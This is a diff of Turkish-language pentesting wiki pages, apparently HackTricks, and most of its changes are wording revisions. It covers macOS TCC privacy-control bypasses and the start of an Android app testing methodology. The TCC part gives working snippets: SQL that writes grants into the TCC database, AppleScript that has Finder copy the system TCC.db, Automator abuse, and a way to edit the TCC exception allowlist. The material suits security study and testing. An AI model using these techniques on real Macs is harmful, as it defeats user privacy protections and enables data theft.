> Önceki veritabanları da **okuma erişimi için TCC korumalıdır**. Bu nedenle, **TCC ayrıcalıklı bir süreçten** gelmediği sürece normal kullanıcı TCC veritabanınızı **okuyamazsınız**.
|
||||
>
|
||||
> Ancak, bu yüksek ayrıcalıklara sahip bir süreç (örneğin **FDA** veya **`kTCCServiceEndpointSecurityClient`**) kullanıcıların TCC veritabanına yazabilecektir.
|
||||
|
||||
- **Konum hizmetlerine** erişim izni verilen istemcileri belirtmek için **`/var/db/locationd/clients.plist`** içinde **üçüncü** bir TCC veritabanı vardır.
|
||||
- **Konum hizmetlerine** erişim izni verilen istemcileri belirtmek için **`/var/db/locationd/clients.plist`** adlı **üçüncü** bir TCC veritabanı vardır.
|
||||
- SIP korumalı dosya **`/Users/carlospolop/Downloads/REG.db`** (TCC ile okuma erişiminden de korunmuştur), tüm **geçerli TCC veritabanlarının** **konumunu** içerir.
|
||||
- SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC ile okuma erişiminden de korunmuştur), daha fazla TCC verilen izinleri içerir.
|
||||
- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesi.
|
||||
- SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC ile okuma erişiminden de korunmuştur), daha fazla TCC verilmiş izinleri içerir.
|
||||
- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların bir izin listesidir.
|
||||
|
||||
> [!TIP]
|
||||
> **iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
|
||||
> TCC veritabanı **iOS**'ta **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
|
||||
|
||||
> [!NOTE]
|
||||
> **Bildirim merkezi UI** sistem TCC veritabanında **değişiklikler** yapabilir:
|
||||
@ -54,7 +54,7 @@ ps -ef | grep tcc
|
||||
> com.apple.rootless.storage.TCC
|
||||
> ```
|
||||
>
|
||||
> Ancak, kullanıcılar **`tccutil`** komut satırı aracıyla **kuralları silebilir veya sorgulayabilir**.
|
||||
> Ancak, kullanıcılar **`tccutil`** komut satırı aracı ile **kuralları silebilir veya sorgulayabilir**.
|
||||
|
||||
#### Veritabanlarını Sorgulama
|
||||
|
||||
@ -105,14 +105,14 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
> Her iki veritabanını kontrol ederek bir uygulamanın izin verdiği, yasakladığı veya sahip olmadığı izinleri kontrol edebilirsiniz (bunu isteyecektir).
|
||||
|
||||
- **`service`** TCC **izin** dizesinin temsilidir
|
||||
- **`client`** izinlerle birlikte **bundle ID** veya **ikili dosya yolu**dur
|
||||
- **`client_type`** bunun bir Bundle Identifier(0) mı yoksa mutlak yol(1) mu olduğunu gösterir
|
||||
- **`client`** izinlerle birlikte **paket kimliği** veya **ikili dosya yolu**'dur
|
||||
- **`client_type`** bunun bir Paket Tanımlayıcısı(0) mı yoksa mutlak yol(1) mu olduğunu belirtir
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mutlak yol ise nasıl çalıştırılır</summary>
|
||||
|
||||
Sadece **`launctl load you_bin.plist`** yapın, bir plist ile:
|
||||
Sadece **`launctl load you_bin.plist`** komutunu çalıştırın, bir plist ile:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -169,7 +169,7 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
||||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
- Daha fazla bilgi için **diğer alanlar** hakkında [**bu blog yazısını kontrol edin**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
- Daha fazla bilgi için tablonun **diğer alanları** hakkında [**bu blog yazısını kontrol edin**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
|
||||
Ayrıca `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` bölümünde uygulamalara **verilmiş izinleri** kontrol edebilirsiniz.
|
||||
|
||||
@ -186,7 +186,7 @@ tccutil reset All
|
||||
```
|
||||
### TCC İmza Kontrolleri
|
||||
|
||||
TCC **veritabanı**, uygulamanın **Bundle ID**'sini saklar, ancak aynı zamanda izin kullanmak isteyen uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de **saklar**.
|
||||
TCC **veritabanı**, uygulamanın **Bundle ID**'sini saklar, ancak aynı zamanda izin istemek için başvuran uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de **saklar**.
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
@ -206,9 +206,9 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
Uygulamalar **sadece** bazı kaynaklara **erişim talep etmekle** kalmaz, aynı zamanda **ilgili yetkilere sahip** olmaları da gerekir.\
|
||||
Örneğin, **Telegram** uygulaması **kamera erişimi** talep etmek için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan** bir **uygulama**, kameraya erişemez (ve kullanıcıdan izin istenmez).
|
||||
|
||||
Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine** **erişebilmesi** için herhangi bir özel **yetkiye sahip olmaları gerekmez.** Sistem, erişimi şeffaf bir şekilde yönetecek ve gerektiğinde **kullanıcıyı bilgilendirecektir.**
|
||||
Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmesi** için herhangi bir özel **yetkiye sahip olmaları gerekmez.** Sistem, erişimi şeffaf bir şekilde yönetecek ve gerektiğinde **kullanıcıyı bilgilendirecektir.**
|
||||
|
||||
Apple'ın uygulamaları **bildirim oluşturmaz.** Yetki listelerinde **önceden verilmiş haklar** içerirler, bu da onların **asla bir açılır pencere oluşturmayacağı** ve **TCC veritabanlarında** görünmeyeceği anlamına gelir. Örneğin:
|
||||
Apple'ın uygulamaları **bildirim oluşturmaz.** Yetki listelerinde **önceden verilmiş haklar** içerirler, bu da onların **asla bir açılır pencere oluşturmayacağı** ve **TCC veritabanlarında** görünmeyecekleri anlamına gelir. Örneğin:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
@ -234,7 +234,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
|
||||
|
||||
### Kullanıcı Niyeti / com.apple.macl
|
||||
|
||||
Daha önce belirtildiği gibi, bir dosyaya bir uygulamanın erişim izni **sürükleyip bırakarak** verilebilir. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek, ancak dosyanın **genişletilmiş** **özelliği** olarak saklanacaktır. Bu özellik, izin verilen uygulamanın **UUID'sini** **saklayacaktır**:
|
||||
Daha önce belirtildiği gibi, bir uygulamaya bir dosyaya erişim **vermek için dosyayı sürükleyip bırakmak** mümkündür. Bu erişim herhangi bir TCC veritabanında belirtilmeyecek, ancak dosyanın **genişletilmiş** **özelliği** olarak kaydedilecektir. Bu özellik, izin verilen uygulamanın **UUID'sini** **saklayacaktır**:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
@ -250,17 +250,17 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
|
||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
> [!NOTE]
|
||||
> İlginçtir ki **`com.apple.macl`** niteliği **Sandbox** tarafından yönetilmektedir, tccd tarafından değil.
|
||||
> İlginçtir ki, **`com.apple.macl`** özelliği **Sandbox** tarafından yönetilmektedir, tccd tarafından değil.
|
||||
>
|
||||
> Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sini içeren bir dosyayı farklı bir bilgisayara taşırseniz, aynı uygulamanın farklı UID'leri olacağı için, o uygulamaya erişim izni verilmeyecektir.
|
||||
> Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sini içeren bir dosyayı farklı bir bilgisayara taşırseniz, aynı uygulamanın farklı UIDs'ye sahip olacağı için, o uygulamaya erişim izni verilmeyecektir.
|
||||
|
||||
Genişletilmiş nitelik `com.apple.macl` **diğer genişletilmiş nitelikler gibi silinemez** çünkü **SIP tarafından korunmaktadır**. Ancak, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **zipleyerek**, **silerek** ve **zipten çıkararak** devre dışı bırakmak mümkündür.
|
||||
Genişletilmiş özellik `com.apple.macl` **diğer genişletilmiş özellikler gibi silinemez** çünkü **SIP tarafından korunmaktadır**. Ancak, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **zipleyerek**, **silerek** ve **zipten çıkararak** devre dışı bırakmak mümkündür.
|
||||
|
||||
## TCC Privesc & Bypasslar
|
||||
## TCC Privesc & Bypasses
|
||||
|
||||
### TCC'ye Ekle
|
||||
|
||||
Eğer bir noktada bir TCC veritabanında yazma erişimi elde ederseniz, bir giriş eklemek için aşağıdakine benzer bir şey kullanabilirsiniz (yorumları kaldırın):
|
||||
Eğer bir noktada TCC veritabanında yazma erişimi elde ederseniz, bir giriş eklemek için aşağıdakine benzer bir şey kullanabilirsiniz (yorumları kaldırın):
|
||||
|
||||
<details>
|
||||
|
||||
@ -308,24 +308,24 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||
|
||||
### TCC Yükleri
|
||||
|
||||
Eğer bazı TCC izinleri ile bir uygulamanın içine girmeyi başardıysanız, bunları kötüye kullanmak için TCC yükleri ile ilgili aşağıdaki sayfayı kontrol edin:
|
||||
Eğer bazı TCC izinleri ile bir uygulamanın içine girmeyi başardıysanız, bunları kötüye kullanmak için TCC yükleri sayfasını kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
macos-tcc-payloads.md
|
||||
{{#endref}}
|
||||
|
||||
### Apple Olayları
|
||||
### Apple Etkinlikleri
|
||||
|
||||
Apple Olayları hakkında bilgi edinin:
|
||||
Apple Etkinlikleri hakkında bilgi edinin:
|
||||
|
||||
{{#ref}}
|
||||
macos-apple-events.md
|
||||
{{#endref}}
|
||||
|
||||
### Otomasyon (Finder) için FDA\*
|
||||
### Otomasyon (Finder) ile FDA\*
|
||||
|
||||
Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\
|
||||
Bu özel TCC izni, TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler her şeyi yönetmeye izin vermez).
|
||||
Bu özel TCC izni, TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler sadece her şeyi yönetmeye izin vermez).
|
||||
|
||||
**Finder**, **her zaman FDA'ya sahip olan** bir uygulamadır (UI'de görünmese bile), bu nedenle eğer üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları **bazı eylemleri gerçekleştirmek için** kötüye kullanabilirsiniz.\
|
||||
Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır.
|
||||
@ -345,7 +345,7 @@ EOD
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Sistemlerin TCC.db'sini Çal"}}
|
||||
{{#tab name="Steal systems TCC.db"}}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
@ -358,19 +358,19 @@ EOD
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Bunu, **kendi kullanıcı TCC veritabanınızı yazmak için** kötüye kullanabilirsiniz.
|
||||
Bunu **kendi kullanıcı TCC veritabanınızı yazmak için** kötüye kullanabilirsiniz.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu izinle, **Finder'dan TCC kısıtlı klasörlere erişim istemek** ve size dosyaları vermesini sağlamak mümkün olacak, ancak bildiğim kadarıyla **Finder'ın rastgele kod çalıştırmasını sağlayamayacaksınız** ve bu nedenle FDA erişimini tam olarak kötüye kullanamayacaksınız.
|
||||
> Bu izinle **Finder'dan TCC kısıtlı klasörlere erişim istemek** ve size dosyaları vermesini sağlamak mümkün olacak, ancak bildiğim kadarıyla **Finder'ın rastgele kod çalıştırmasını sağlayamayacaksınız** ve bu nedenle FDA erişimini tam olarak kötüye kullanamayacaksınız.
|
||||
>
|
||||
> Bu nedenle, tam FDA yeteneklerini kötüye kullanamayacaksınız.
|
||||
|
||||
Bu, Finder üzerinde Otomasyon ayrıcalıkları almak için TCC istemidir:
|
||||
Finder üzerinde Otomasyon ayrıcalıkları almak için TCC istemi:
|
||||
|
||||
<figure><img src="../../../../images/image (27).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Automator** uygulamasının TCC izni **`kTCCServiceAppleEvents`** olduğundan, **herhangi bir uygulamayı** kontrol edebilir, örneğin Finder. Dolayısıyla, Automator'ı kontrol etme iznine sahip olduğunuzda, aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz:
|
||||
> **Automator** uygulamasının TCC izni **`kTCCServiceAppleEvents`** olduğundan, **herhangi bir uygulamayı** kontrol edebilir, örneğin Finder. Dolayısıyla Automator'ı kontrol etme iznine sahip olduğunuzda, aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz:
|
||||
|
||||
<details>
|
||||
|
||||
@ -396,7 +396,7 @@ EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
**Script Editor uygulamasıyla** de aynı şey oluyor, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir scripti çalıştırmaya zorlayamazsınız.
|
||||
**Script Editor uygulamasıyla** de aynı şey olur, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir scripti çalıştırmaya zorlayamazsınız.
|
||||
|
||||
### Otomasyon (SE) ile bazı TCC
|
||||
|
||||
@ -494,7 +494,7 @@ EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility` için FDA\*
|
||||
|
||||
Accessibility izinlerini kötüye kullanmak için bazı [**payload'lar**](macos-tcc-payloads.md#accessibility) kontrol edin, örneğin FDA\*'ya privesc yapmak veya bir keylogger çalıştırmak için.
|
||||
Accessibility izinlerini kötüye kullanmak için bazı [**payload'ları kontrol edin**](macos-tcc-payloads.md#accessibility) ve FDA\*'ya privesc yapmak veya örneğin bir keylogger çalıştırmak için.
|
||||
|
||||
### **Endpoint Security Client için FDA**
|
||||
|
||||
@ -504,7 +504,7 @@ Eğer **`kTCCServiceEndpointSecurityClient`**'e sahipseniz, FDA'ya sahipsiniz. S
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** bir kullanıcının **`NFSHomeDirectory`** özniteliğini **değiştirmesine** izin verir, bu da ev dizinini değiştirir ve dolayısıyla **TCC'yi atlamasına** olanak tanır.
|
||||
|
||||
### Kullanıcı TCC DB'si için FDA
|
||||
### Kullanıcı TCC DB için FDA
|
||||
|
||||
**Kullanıcı TCC** veritabanı üzerinde **yazma izinleri** elde ederek **`FDA`** izinlerini kendinize veremezsiniz, yalnızca sistem veritabanında bulunan kişi bunu verebilir.
|
||||
|
||||
@ -514,18 +514,18 @@ Ama kendinize **`Finder için Otomasyon hakları`** verebilir ve önceki tekniğ
|
||||
|
||||
**Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`**'dir.
|
||||
|
||||
Bu gerçek bir privesc olduğunu düşünmüyorum, ama yine de faydalı bulursanız: Eğer FDA ile bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize her türlü erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme durumunda kalıcılık tekniği olarak faydalı olabilir.
|
||||
Bu gerçek bir privesc olduğunu düşünmüyorum, ama yine de faydalı bulursanız: Eğer FDA ile bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize her türlü erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme durumunda kalıcı bir teknik olarak faydalı olabilir.
|
||||
|
||||
### **SIP Atlatma ile TCC Atlatma**
|
||||
### **SIP Atlaması ile TCC Atlaması**
|
||||
|
||||
Sistem **TCC veritabanı** **SIP** tarafından korunmaktadır, bu yüzden yalnızca **belirtilen haklara sahip** süreçler bunu değiştirebilir. Bu nedenle, bir saldırgan bir **SIP atlatması** bulursa (SIP tarafından kısıtlanan bir dosyayı değiştirebilirse), şunları yapabilir:
|
||||
Sistem **TCC veritabanı** **SIP** ile korunmaktadır, bu yüzden yalnızca **belirtilen haklara sahip** süreçler bunu değiştirebilir. Bu nedenle, bir saldırgan bir **SIP atlaması** bulursa (SIP tarafından kısıtlanan bir dosyayı değiştirebilirse), şunları yapabilir:
|
||||
|
||||
- **TCC veritabanının korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyaları kötüye kullanabilir:
|
||||
- **TCC veritabanının korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyalardan herhangi birini kötüye kullanabilir:
|
||||
- TCC sistem veritabanı
|
||||
- REG.db
|
||||
- MDMOverrides.plist
|
||||
|
||||
Ancak, bu **SIP atlatmasını TCC'yi atlatmak için** kötüye kullanmanın başka bir seçeneği vardır, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, bir TCC istisnası gerektiren uygulamaların izin listesi. Bu nedenle, bir saldırgan bu dosyadan **SIP korumasını kaldırabilir** ve kendi **uygulamasını** ekleyebilirse, uygulama TCC'yi atlatabilecektir.\
|
||||
Ancak, bu **SIP atlamasını TCC'yi atlamak için** kötüye kullanmanın başka bir seçeneği vardır, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, bir TCC istisnası gerektiren uygulamaların izin listesi. Bu nedenle, bir saldırgan bu dosyadan **SIP korumasını kaldırabilir** ve kendi **uygulamasını** ekleyebilirse, uygulama TCC'yi atlayabilecektir.\
|
||||
Örneğin terminal eklemek için:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
||||
@ -13,18 +13,18 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
|
||||
**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, kabuk komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, günlüklerin **okunması** gibi birçok işlevi yerine getirir.
|
||||
**ADB**, bir bilgisayardan **USB** veya **Ağ** üzerinden cihazları kontrol etmenizi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, kabuk komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, günlüklerin **okunması** gibi işlevleri yerine getirir.
|
||||
|
||||
ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın.
|
||||
|
||||
## Smali
|
||||
|
||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.\
|
||||
[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden compile etmeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
|
||||
[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden derlemeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
|
||||
## Diğer ilginç ipuçları
|
||||
|
||||
- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md)
|
||||
- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md)
|
||||
- **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Cihazdan APK çıkarın:
|
||||
```bash
|
||||
@ -52,7 +52,7 @@ Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi bulmak için burayı o
|
||||
|
||||
### İlginç Bilgiler Arama
|
||||
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) için bile bakın.
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -60,15 +60,15 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
|
||||
|
||||
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
|
||||
|
||||
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelemesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar decompiler'lar kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp açılarak erişilebilir.
|
||||
|
||||
**Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır:
|
||||
**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır:
|
||||
|
||||
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemeleri önlenir.
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle USB hata ayıklama etkinleştirildiğinde.
|
||||
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
|
||||
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
- **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açıkta olan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir.
|
||||
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
- **İçerik Sağlayıcıları ve FileProviders**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği izni verebilir. FileProviders'ın yapılandırması da incelenmelidir.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
|
||||
@ -76,8 +76,8 @@ Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyaları
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü kullanıcıyı yanıltacak şekilde tasarlanmıştır, böylece kullanıcı onunla etkileşime geçerken, etkileşimi kurban uygulamasına iletmektedir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### Görev Ele Geçirme
|
||||
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek olanı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek olanı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
@ -99,64 +99,64 @@ android-task-hijacking.md
|
||||
|
||||
**Dahili Depolama**
|
||||
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**.
|
||||
|
||||
